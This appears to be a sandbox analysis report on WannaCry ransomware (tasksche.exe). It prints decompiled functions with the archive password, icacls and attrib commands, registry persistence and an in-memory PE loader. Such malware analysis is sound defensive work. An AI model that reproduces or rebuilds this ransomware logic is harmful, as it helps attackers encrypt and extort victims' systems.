                                                                                                                                                                0x0040742a
                                                                                                                                                                0x0040742a
                                                                                                                                                                0x0040745a
                                                                                                                                                                0x0040745a
                                                                                                                                                                0x0040745e
                                                                                                                                                                0x00407463
                                                                                                                                                                0x00407463
                                                                                                                                                                0x0040746b
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00407473
                                                                                                                                                                0x004073f9
                                                                                                                                                                0x00407415
                                                                                                                                                                0x00407415
                                                                                                                                                                0x00407419
                                                                                                                                                                0x00407454
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00407454
                                                                                                                                                                0x0040741b
                                                                                                                                                                0x0040741d
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x0040741f
                                                                                                                                                                0x0040740b
                                                                                                                                                                0x00407411
                                                                                                                                                                0x00407413
                                                                                                                                                                0x00407433
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00407433
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00407413
                                                                                                                                                                0x00407421
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00407421
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00407339
                                                                                                                                                                0x00407358
                                                                                                                                                                0x0040735f
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00407361
                                                                                                                                                                0x00407368
                                                                                                                                                                0x004072e1
                                                                                                                                                                0x004072e7
                                                                                                                                                                0x004072fc
                                                                                                                                                                0x0040730a
                                                                                                                                                                0x0040730f
                                                                                                                                                                0x00000000
                                                                                                                                                                0x0040730f
                                                                                                                                                                0x0040736e
                                                                                                                                                                0x00407375
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00407375
                                                                                                                                                                0x004072da
                                                                                                                                                                0x004072da
                                                                                                                                                                0x004072da
                                                                                                                                                                0x00000000
                                                                                                                                                                0x004072da
                                                                                                                                                                0x004072a1
                                                                                                                                                                0x00000000
                                                                                                                                                                0x004072a1
                                                                                                                                                                0x00407263
                                                                                                                                                                0x00407266
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x0040726c
                                                                                                                                                                0x0040726f
                                                                                                                                                                0x00407271
                                                                                                                                                                0x00407273
                                                                                                                                                                0x00407283
                                                                                                                                                                0x00407283
                                                                                                                                                                0x00407284
                                                                                                                                                                0x00407290
                                                                                                                                                                0x00407290
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00407296
                                                                                                                                                                0x00407275
                                                                                                                                                                0x00407277
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00407279
                                                                                                                                                                0x0040727b
                                                                                                                                                                0x00407288
                                                                                                                                                                0x00407288
                                                                                                                                                                0x00407288
                                                                                                                                                                0x0040728e
                                                                                                                                                                0x0040728f
                                                                                                                                                                0x00000000
                                                                                                                                                                0x0040728f
                                                                                                                                                                0x0040727d
                                                                                                                                                                0x00407281
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00407281
                                                                                                                                                                0x00407244
                                                                                                                                                                0x0040723b
                                                                                                                                                                0x00000000
                                                                                                                                                                0x0040723b
                                                                                                                                                                0x00407236
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00407236
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000

                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000001C.00000002.376540609.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 0000001C.00000002.376521721.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376578380.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376601170.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376619681.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_28_2_400000_tasksche.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID:
                                                                                                                                                                • String ID: %s%s$%s%s%s$:$\
                                                                                                                                                                • API String ID: 0-1100577047
                                                                                                                                                                • Opcode ID: fa5f8851d26bf09fdef4e4f1c55e900ad1a47778409aa7a1c0108d1ccba85c9d
                                                                                                                                                                • Instruction ID: 622825bbce38b7500016b977d00db7372d85e5c8e1565b3adbba59f792ee02a2
                                                                                                                                                                • Opcode Fuzzy Hash: fa5f8851d26bf09fdef4e4f1c55e900ad1a47778409aa7a1c0108d1ccba85c9d
                                                                                                                                                                • Instruction Fuzzy Hash: 42A12A31C082049BDB319F14CC44BEA7BA9AB01314F2445BFF895B62D1D73DBA95CB5A
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 0040203B Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 106stringfileCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                C-Code - Quality: 77%
                                                                                                                                                                			E0040203B(intOrPtr* __eax, void* __edi) {
				void* _t25;
				intOrPtr* _t33;
				int _t42;
				CHAR* _t63;
				void* _t64;
				char** _t66;

				__imp____p___argv();
				if(strcmp( *( *__eax + 4), "/i") != 0 || E00401B5F(_t42) == 0) {
					L4:
					if(strrchr(_t64 - 0x20c, 0x5c) != 0) {
						 *(strrchr(_t64 - 0x20c, 0x5c)) = _t42;
					}
					SetCurrentDirectoryA(_t64 - 0x20c);
					E004010FD(1);
					 *_t66 = "WNcry@2ol7";
					_push(_t42);
					L00401DAB();
					E00401E9E();
					E00401064("attrib +h .", _t42, _t42);
					E00401064("icacls . /grant Everyone:F /T /C /Q", _t42, _t42);
					_t25 = E0040170A();
					_t74 = _t25;
					if(_t25 != 0) {
						E004012FD(_t64 - 0x6e4, _t74);
						if(E00401437(_t64 - 0x6e4, _t42, _t42, _t42) != 0) {
							 *(_t64 - 4) = _t42;
							if(E004014A6(_t64 - 0x6e4, "t.wnry", _t64 - 4) != _t42 && E004021BD(_t31,  *(_t64 - 4)) != _t42) {
								_t33 = E00402924(_t32, "TaskStart");
								_t78 = _t33 - _t42;
								if(_t33 != _t42) {
									 *_t33(_t42, _t42);
								}
							}
						}
						E0040137A(_t64 - 0x6e4, _t78);
					}
					goto L13;
				} else {
					_t63 = "tasksche.exe";
					CopyFileA(_t64 - 0x20c, _t63, _t42);
					if(GetFileAttributesA(_t63) == 0xffffffff || E00401F5D(__edi) == 0) {
						goto L4;
					} else {
						L13:
						return 0;
					}
				}
			}









                                                                                                                                                                0x00402040
                                                                                                                                                                0x00402054
                                                                                                                                                                0x0040208e
                                                                                                                                                                0x004020a3
                                                                                                                                                                0x004020b1
                                                                                                                                                                0x004020b3
                                                                                                                                                                0x004020bb
                                                                                                                                                                0x004020c3
                                                                                                                                                                0x004020c8
                                                                                                                                                                0x004020cf
                                                                                                                                                                0x004020d0
                                                                                                                                                                0x004020d5
                                                                                                                                                                0x004020e1
                                                                                                                                                                0x004020ed
                                                                                                                                                                0x004020f5
                                                                                                                                                                0x004020fa
                                                                                                                                                                0x004020fc
                                                                                                                                                                0x00402104
                                                                                                                                                                0x00402119
                                                                                                                                                                0x0040212a
                                                                                                                                                                0x00402134
                                                                                                                                                                0x0040214b
                                                                                                                                                                0x00402151
                                                                                                                                                                0x00402154
                                                                                                                                                                0x00402158
                                                                                                                                                                0x00402158
                                                                                                                                                                0x00402154
                                                                                                                                                                0x00402134
                                                                                                                                                                0x00402160
                                                                                                                                                                0x00402160
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00402061
                                                                                                                                                                0x00402061
                                                                                                                                                                0x0040206f
                                                                                                                                                                0x0040207f
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00402165
                                                                                                                                                                0x00402165
                                                                                                                                                                0x0040216b
                                                                                                                                                                0x0040216b
                                                                                                                                                                0x0040207f

                                                                                                                                                                APIs
                                                                                                                                                                • __p___argv.MSVCRT(0040F538), ref: 00402040
                                                                                                                                                                • strcmp.MSVCRT ref: 0040204B
                                                                                                                                                                • CopyFileA.KERNEL32 ref: 0040206F
                                                                                                                                                                • GetFileAttributesA.KERNEL32(tasksche.exe), ref: 00402076
                                                                                                                                                                  • Part of subcall function 00401F5D: GetFullPathNameA.KERNEL32(tasksche.exe,00000208,?,00000000), ref: 00401F97
                                                                                                                                                                • strrchr.MSVCRT ref: 0040209D
                                                                                                                                                                • strrchr.MSVCRT ref: 004020AE
                                                                                                                                                                • SetCurrentDirectoryA.KERNEL32(?,00000000), ref: 004020BB
                                                                                                                                                                  • Part of subcall function 00401B5F: MultiByteToWideChar.KERNEL32(00000000,00000000,0040F8AC,000000FF,?,00000063), ref: 00401BCA
                                                                                                                                                                  • Part of subcall function 00401B5F: GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00401BDD
                                                                                                                                                                  • Part of subcall function 00401B5F: swprintf.MSVCRT(?,%s\ProgramData,?), ref: 00401C04
                                                                                                                                                                  • Part of subcall function 00401B5F: GetFileAttributesW.KERNEL32(?), ref: 00401C10
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000001C.00000002.376540609.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 0000001C.00000002.376521721.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376578380.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376601170.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376619681.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_28_2_400000_tasksche.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: File$AttributesDirectorystrrchr$ByteCharCopyCurrentFullMultiNamePathWideWindows__p___argvstrcmpswprintf
                                                                                                                                                                • String ID: TaskStart$attrib +h .$icacls . /grant Everyone:F /T /C /Q$t.wnry$tasksche.exe
                                                                                                                                                                • API String ID: 1074704982-2844324180
                                                                                                                                                                • Opcode ID: 89895d8f6934e01f58802458fd3b58e20f5d1862df0252ba7c7124bca42d23be
                                                                                                                                                                • Instruction ID: 0f1cc1f94130967d107883c1ee7151828ebb686b55f89e1ef1b9593e139f0a32
                                                                                                                                                                • Opcode Fuzzy Hash: 89895d8f6934e01f58802458fd3b58e20f5d1862df0252ba7c7124bca42d23be
                                                                                                                                                                • Instruction Fuzzy Hash: 25318172500319AEDB24B7B19E89E9F376C9F10319F20057FF645F65E2DE788D488A28
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 004010FD Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 100registrystringCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                C-Code - Quality: 58%
                                                                                                                                                                			E004010FD(intOrPtr _a4) {
				signed int _v8;
				signed int _v12;
				int _v16;
				void _v196;
				long _v216;
				void _v735;
				char _v736;
				signed int _t44;
				void* _t46;
				signed int _t55;
				signed int _t56;
				char* _t72;
				void* _t77;

				_t56 = 5;
				memcpy( &_v216, L"Software\\", _t56 << 2);
				_push(0x2d);
				_v736 = _v736 & 0;
				_v8 = _v8 & 0x00000000;
				memset( &_v735, memset( &_v196, 0, 0 << 2), 0x81 << 2);
				asm("stosw");
				asm("stosb");
				wcscat( &_v216, L"WanaCrypt0r");
				_v12 = _v12 & 0x00000000;
				_t72 = "wd";
				do {
					_push( &_v8);
					_push( &_v216);
					if(_v12 != 0) {
						_push(0x80000001);
					} else {
						_push(0x80000002);
					}
					RegCreateKeyW();
					if(_v8 != 0) {
						if(_a4 == 0) {
							_v16 = 0x207;
							_t44 = RegQueryValueExA(_v8, _t72, 0, 0,  &_v736,  &_v16);
							asm("sbb esi, esi");
							_t77 =  ~_t44 + 1;
							if(_t77 != 0) {
								SetCurrentDirectoryA( &_v736);
							}
						} else {
							GetCurrentDirectoryA(0x207,  &_v736);
							_t55 = RegSetValueExA(_v8, _t72, 0, 1,  &_v736, strlen( &_v736) + 1);
							asm("sbb esi, esi");
							_t77 =  ~_t55 + 1;
						}
						RegCloseKey(_v8);
						if(_t77 != 0) {
							_t46 = 1;
							return _t46;
						} else {
							goto L10;
						}
					}
					L10:
					_v12 = _v12 + 1;
				} while (_v12 < 2);
				return 0;
			}
















                                                                                                                                                                0x0040110f
                                                                                                                                                                0x00401116
                                                                                                                                                                0x00401118
                                                                                                                                                                0x0040111c
                                                                                                                                                                0x00401129
                                                                                                                                                                0x0040113a
                                                                                                                                                                0x0040113c
                                                                                                                                                                0x0040113e
                                                                                                                                                                0x0040114b
                                                                                                                                                                0x00401151
                                                                                                                                                                0x00401157
                                                                                                                                                                0x0040115c
                                                                                                                                                                0x00401164
                                                                                                                                                                0x0040116b
                                                                                                                                                                0x0040116c
                                                                                                                                                                0x00401175
                                                                                                                                                                0x0040116e
                                                                                                                                                                0x0040116e
                                                                                                                                                                0x0040116e
                                                                                                                                                                0x0040117a
                                                                                                                                                                0x00401183
                                                                                                                                                                0x0040118c
                                                                                                                                                                0x004011cf
                                                                                                                                                                0x004011e4
                                                                                                                                                                0x004011ee
                                                                                                                                                                0x004011f0
                                                                                                                                                                0x004011f1
                                                                                                                                                                0x004011fa
                                                                                                                                                                0x004011fa
                                                                                                                                                                0x0040118e
                                                                                                                                                                0x0040119a
                                                                                                                                                                0x004011bd
                                                                                                                                                                0x004011c7
                                                                                                                                                                0x004011c9
                                                                                                                                                                0x004011c9
                                                                                                                                                                0x00401203
                                                                                                                                                                0x0040120b
                                                                                                                                                                0x00401222
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x0040120b
                                                                                                                                                                0x0040120d
                                                                                                                                                                0x0040120d
                                                                                                                                                                0x00401210
                                                                                                                                                                0x00000000

                                                                                                                                                                APIs
                                                                                                                                                                • wcscat.MSVCRT ref: 0040114B
                                                                                                                                                                • RegCreateKeyW.ADVAPI32 ref: 0040117A
                                                                                                                                                                • GetCurrentDirectoryA.KERNEL32(00000207,?), ref: 0040119A
                                                                                                                                                                • strlen.MSVCRT ref: 004011A7
                                                                                                                                                                • RegSetValueExA.ADVAPI32(00000000,0040E030,00000000,00000001,?,00000001), ref: 004011BD
                                                                                                                                                                • RegQueryValueExA.ADVAPI32(00000000,0040E030,00000000,00000000,?,?), ref: 004011E4
                                                                                                                                                                • SetCurrentDirectoryA.KERNEL32(?), ref: 004011FA
                                                                                                                                                                • RegCloseKey.ADVAPI32(00000000), ref: 00401203
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000001C.00000002.376540609.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 0000001C.00000002.376521721.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376578380.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376601170.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376619681.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_28_2_400000_tasksche.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: CurrentDirectoryValue$CloseCreateQuerystrlenwcscat
                                                                                                                                                                • String ID: 0@$Software\$WanaCrypt0r
                                                                                                                                                                • API String ID: 865909632-3421300005
                                                                                                                                                                • Opcode ID: be197859f140e0a5161343930b87c84f9738d6a9d10ac2d583ef225433aeadb0
                                                                                                                                                                • Instruction ID: 752dd9e6153134350df00ddc45e524be7a8e60cbe47ba2191db59f61a0b32c4f
                                                                                                                                                                • Opcode Fuzzy Hash: be197859f140e0a5161343930b87c84f9738d6a9d10ac2d583ef225433aeadb0
                                                                                                                                                                • Instruction Fuzzy Hash: 09316232801228EBDB218B90DD09BDEBB78EB44751F1140BBE645F6190CB745E84CBA8
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00401B5F Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 123COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                C-Code - Quality: 81%
                                                                                                                                                                			E00401B5F(intOrPtr _a4) {
				void _v202;
				short _v204;
				void _v722;
				long _v724;
				signed short _v1240;
				void _v1242;
				long _v1244;
				void* _t55;
				signed int _t65;
				void* _t72;
				long _t83;
				void* _t94;
				void* _t98;

				_t83 =  *0x40f874; // 0x0
				_v1244 = _t83;
				memset( &_v1242, 0, 0x81 << 2);
				asm("stosw");
				_v724 = _t83;
				memset( &_v722, 0, 0x81 << 2);
				asm("stosw");
				_push(0x31);
				_v204 = _t83;
				memset( &_v202, 0, 0 << 2);
				asm("stosw");
				MultiByteToWideChar(0, 0, 0x40f8ac, 0xffffffff,  &_v204, 0x63);
				GetWindowsDirectoryW( &_v1244, 0x104);
				_v1240 = _v1240 & 0x00000000;
				swprintf( &_v724, L"%s\\ProgramData",  &_v1244);
				_t98 = _t94 + 0x30;
				if(GetFileAttributesW( &_v724) == 0xffffffff) {
					L3:
					swprintf( &_v724, L"%s\\Intel",  &_v1244);
					if(E00401AF6( &_v724,  &_v204, _a4) != 0 || E00401AF6( &_v1244,  &_v204, _a4) != 0) {
						L2:
						_t55 = 1;
						return _t55;
					} else {
						GetTempPathW(0x104,  &_v724);
						if(wcsrchr( &_v724, 0x5c) != 0) {
							 *(wcsrchr( &_v724, 0x5c)) =  *_t69 & 0x00000000;
						}
						_t65 = E00401AF6( &_v724,  &_v204, _a4);
						asm("sbb eax, eax");
						return  ~( ~_t65);
					}
				}
				_t72 = E00401AF6( &_v724,  &_v204, _a4);
				_t98 = _t98 + 0xc;
				if(_t72 == 0) {
					goto L3;
				}
				goto L2;
			}
















                                                                                                                                                                0x00401b68
                                                                                                                                                                0x00401b80
                                                                                                                                                                0x00401b87
                                                                                                                                                                0x00401b89
                                                                                                                                                                0x00401b95
                                                                                                                                                                0x00401b9c
                                                                                                                                                                0x00401b9e
                                                                                                                                                                0x00401ba0
                                                                                                                                                                0x00401bab
                                                                                                                                                                0x00401bb4
                                                                                                                                                                0x00401bb6
                                                                                                                                                                0x00401bca
                                                                                                                                                                0x00401bdd
                                                                                                                                                                0x00401be9
                                                                                                                                                                0x00401c04
                                                                                                                                                                0x00401c06
                                                                                                                                                                0x00401c19
                                                                                                                                                                0x00401c40
                                                                                                                                                                0x00401c53
                                                                                                                                                                0x00401c70
                                                                                                                                                                0x00401c38
                                                                                                                                                                0x00401c3a
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00401c8f
                                                                                                                                                                0x00401c97
                                                                                                                                                                0x00401cb2
                                                                                                                                                                0x00401cbf
                                                                                                                                                                0x00401cc4
                                                                                                                                                                0x00401cd6
                                                                                                                                                                0x00401ce0
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00401ce2
                                                                                                                                                                0x00401c70
                                                                                                                                                                0x00401c2c
                                                                                                                                                                0x00401c31
                                                                                                                                                                0x00401c36
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000

                                                                                                                                                                APIs
                                                                                                                                                                • MultiByteToWideChar.KERNEL32(00000000,00000000,0040F8AC,000000FF,?,00000063), ref: 00401BCA
                                                                                                                                                                • GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00401BDD
                                                                                                                                                                • swprintf.MSVCRT(?,%s\ProgramData,?), ref: 00401C04
                                                                                                                                                                • GetFileAttributesW.KERNEL32(?), ref: 00401C10
                                                                                                                                                                • swprintf.MSVCRT(?,%s\Intel,?), ref: 00401C53
                                                                                                                                                                • GetTempPathW.KERNEL32(00000104,?), ref: 00401C97
                                                                                                                                                                • wcsrchr.MSVCRT ref: 00401CAC
                                                                                                                                                                • wcsrchr.MSVCRT ref: 00401CBD
                                                                                                                                                                  • Part of subcall function 00401AF6: CreateDirectoryW.KERNEL32(?,00000000), ref: 00401B07
                                                                                                                                                                  • Part of subcall function 00401AF6: SetCurrentDirectoryW.KERNEL32(?), ref: 00401B12
                                                                                                                                                                  • Part of subcall function 00401AF6: CreateDirectoryW.KERNEL32(?,00000000), ref: 00401B1E
                                                                                                                                                                  • Part of subcall function 00401AF6: SetCurrentDirectoryW.KERNEL32(?), ref: 00401B21
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000001C.00000002.376540609.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 0000001C.00000002.376521721.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376578380.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376601170.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376619681.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_28_2_400000_tasksche.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Directory$CreateCurrentswprintfwcsrchr$AttributesByteCharFileMultiPathTempWideWindows
                                                                                                                                                                • String ID: %s\Intel$%s\ProgramData
                                                                                                                                                                • API String ID: 3806094219-198707228
                                                                                                                                                                • Opcode ID: e04e666ac5ff563214b472014ed4c30e25de200c4a7bf1775954a8b15fda063a
                                                                                                                                                                • Instruction ID: 4ac525b1174630586dc3f01422198d44c3eaba501bd80531e66e43f198221a67
                                                                                                                                                                • Opcode Fuzzy Hash: e04e666ac5ff563214b472014ed4c30e25de200c4a7bf1775954a8b15fda063a
                                                                                                                                                                • Instruction Fuzzy Hash: 2C41447294021DAAEF609BA0DD45FDA777CAF04310F1045BBE608F71E0EA74DA888F59
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 004021E9 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 233memoryCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                C-Code - Quality: 64%
                                                                                                                                                                			E004021E9(void* _a4, char _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, void* _a32) {
				signed int _v8;
				intOrPtr _v40;
				char _v44;
				void* _t82;
				struct HINSTANCE__* _t83;
				intOrPtr* _t84;
				intOrPtr _t89;
				void* _t91;
				void* _t104;
				void _t107;
				intOrPtr _t116;
				intOrPtr _t124;
				signed int _t125;
				signed char _t126;
				intOrPtr _t127;
				signed int _t134;
				intOrPtr* _t145;
				signed int _t146;
				intOrPtr* _t151;
				intOrPtr _t152;
				short* _t153;
				signed int _t155;
				void* _t156;
				intOrPtr _t157;
				void* _t158;
				void* _t159;
				void* _t160;

				_v8 = _v8 & 0x00000000;
				_t3 =  &_a8; // 0x40213f
				if(E00402457( *_t3, 0x40) == 0) {
					L37:
					return 0;
				}
				_t153 = _a4;
				if( *_t153 == 0x5a4d) {
					if(E00402457(_a8,  *((intOrPtr*)(_t153 + 0x3c)) + 0xf8) == 0) {
						goto L37;
					}
					_t151 =  *((intOrPtr*)(_t153 + 0x3c)) + _t153;
					if( *_t151 != 0x4550 ||  *((short*)(_t151 + 4)) != 0x14c) {
						goto L2;
					} else {
						_t9 = _t151 + 0x38; // 0x68004021
						_t126 =  *_t9;
						if((_t126 & 0x00000001) != 0) {
							goto L2;
						}
						_t12 = _t151 + 0x14; // 0x4080e415
						_t13 = _t151 + 6; // 0x4080e0
						_t146 =  *_t13 & 0x0000ffff;
						_t82 = ( *_t12 & 0x0000ffff) + _t151 + 0x18;
						if(_t146 <= 0) {
							L16:
							_t83 = GetModuleHandleA("kernel32.dll");
							if(_t83 == 0) {
								goto L37;
							}
							_t84 = _a24(_t83, "GetNativeSystemInfo", 0);
							_t159 = _t158 + 0xc;
							if(_t84 == 0) {
								goto L37;
							}
							 *_t84( &_v44);
							_t86 = _v40;
							_t23 = _t151 + 0x50; // 0xec8b55c3
							_t25 = _t86 - 1; // 0xec8b55c2
							_t27 = _t86 - 1; // -1
							_t134 =  !_t27;
							_t155 =  *_t23 + _t25 & _t134;
							if(_t155 != (_v40 + _v8 - 0x00000001 & _t134)) {
								goto L2;
							}
							_t31 = _t151 + 0x34; // 0x85680040
							_t89 = _a12( *_t31, _t155, 0x3000, 4, _a32);
							_t127 = _t89;
							_t160 = _t159 + 0x14;
							if(_t127 != 0) {
								L21:
								_t91 = HeapAlloc(GetProcessHeap(), 8, 0x3c);
								_t156 = _t91;
								if(_t156 != 0) {
									 *((intOrPtr*)(_t156 + 4)) = _t127;
									_t38 = _t151 + 0x16; // 0xc3004080
									 *(_t156 + 0x14) =  *_t38 >> 0x0000000d & 0x00000001;
									 *((intOrPtr*)(_t156 + 0x1c)) = _a12;
									 *((intOrPtr*)(_t156 + 0x20)) = _a16;
									 *((intOrPtr*)(_t156 + 0x24)) = _a20;
									 *((intOrPtr*)(_t156 + 0x28)) = _a24;
									 *((intOrPtr*)(_t156 + 0x2c)) = _a28;
									 *((intOrPtr*)(_t156 + 0x30)) = _a32;
									 *((intOrPtr*)(_t156 + 0x38)) = _v40;
									_t54 = _t151 + 0x54; // 0x8328ec83
									if(E00402457(_a8,  *_t54) == 0) {
										L36:
										E004029CC(_t156);
										goto L37;
									}
									_t57 = _t151 + 0x54; // 0x8328ec83
									_t104 = _a12(_t127,  *_t57, 0x1000, 4, _a32);
									_t59 = _t151 + 0x54; // 0x8328ec83
									_a32 = _t104;
									memcpy(_t104, _a4,  *_t59);
									_t107 =  *((intOrPtr*)(_a4 + 0x3c)) + _a32;
									 *_t156 = _t107;
									 *((intOrPtr*)(_t107 + 0x34)) = _t127;
									if(E00402470(_a4, _a8, _t151, _t156) == 0) {
										goto L36;
									}
									_t68 = _t151 + 0x34; // 0x85680040
									_t111 =  *((intOrPtr*)( *_t156 + 0x34)) ==  *_t68;
									if( *((intOrPtr*)( *_t156 + 0x34)) ==  *_t68) {
										_t152 = 1;
										 *((intOrPtr*)(_t156 + 0x18)) = _t152;
									} else {
										 *((intOrPtr*)(_t156 + 0x18)) = E00402758(_t156, _t111);
										_t152 = 1;
									}
									if(E004027DF(_t156) != 0 && E0040254B(_t156) != 0 && E0040271D(_t156) != 0) {
										_t116 =  *((intOrPtr*)( *_t156 + 0x28));
										if(_t116 == 0) {
											 *((intOrPtr*)(_t156 + 0x34)) = 0;
											L41:
											return _t156;
										}
										if( *(_t156 + 0x14) == 0) {
											 *((intOrPtr*)(_t156 + 0x34)) = _t116 + _t127;
											goto L41;
										}
										_push(0);
										_push(_t152);
										_push(_t127);
										if( *((intOrPtr*)(_t116 + _t127))() != 0) {
											 *((intOrPtr*)(_t156 + 0x10)) = _t152;
											goto L41;
										}
										SetLastError(0x45a);
									}
									goto L36;
								}
								_a16(_t127, _t91, 0x8000, _a32);
								L23:
								SetLastError(0xe);
								L3:
								goto L37;
							}
							_t127 = _a12(_t89, _t155, 0x3000, 4, _a32);
							_t160 = _t160 + 0x14;
							if(_t127 == 0) {
								goto L23;
							}
							goto L21;
						}
						_t145 = _t82 + 0xc;
						do {
							_t157 =  *((intOrPtr*)(_t145 + 4));
							_t124 =  *_t145;
							if(_t157 != 0) {
								_t125 = _t124 + _t157;
							} else {
								_t125 = _t124 + _t126;
							}
							if(_t125 > _v8) {
								_v8 = _t125;
							}
							_t145 = _t145 + 0x28;
							_t146 = _t146 - 1;
						} while (_t146 != 0);
						goto L16;
					}
				}
				L2:
				SetLastError(0xc1);
				goto L3;
			}






























                                                                                                                                                                0x004021ef
                                                                                                                                                                0x004021f8
                                                                                                                                                                0x00402204
                                                                                                                                                                0x0040243d
                                                                                                                                                                0x00000000
                                                                                                                                                                0x0040243d
                                                                                                                                                                0x0040220a
                                                                                                                                                                0x00402212
                                                                                                                                                                0x00402239
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00402242
                                                                                                                                                                0x0040224a
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00402254
                                                                                                                                                                0x00402254
                                                                                                                                                                0x00402254
                                                                                                                                                                0x0040225a
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x0040225c
                                                                                                                                                                0x00402260
                                                                                                                                                                0x00402260
                                                                                                                                                                0x00402266
                                                                                                                                                                0x0040226a
                                                                                                                                                                0x0040228c
                                                                                                                                                                0x00402291
                                                                                                                                                                0x00402299
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x004022a7
                                                                                                                                                                0x004022aa
                                                                                                                                                                0x004022af
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x004022b9
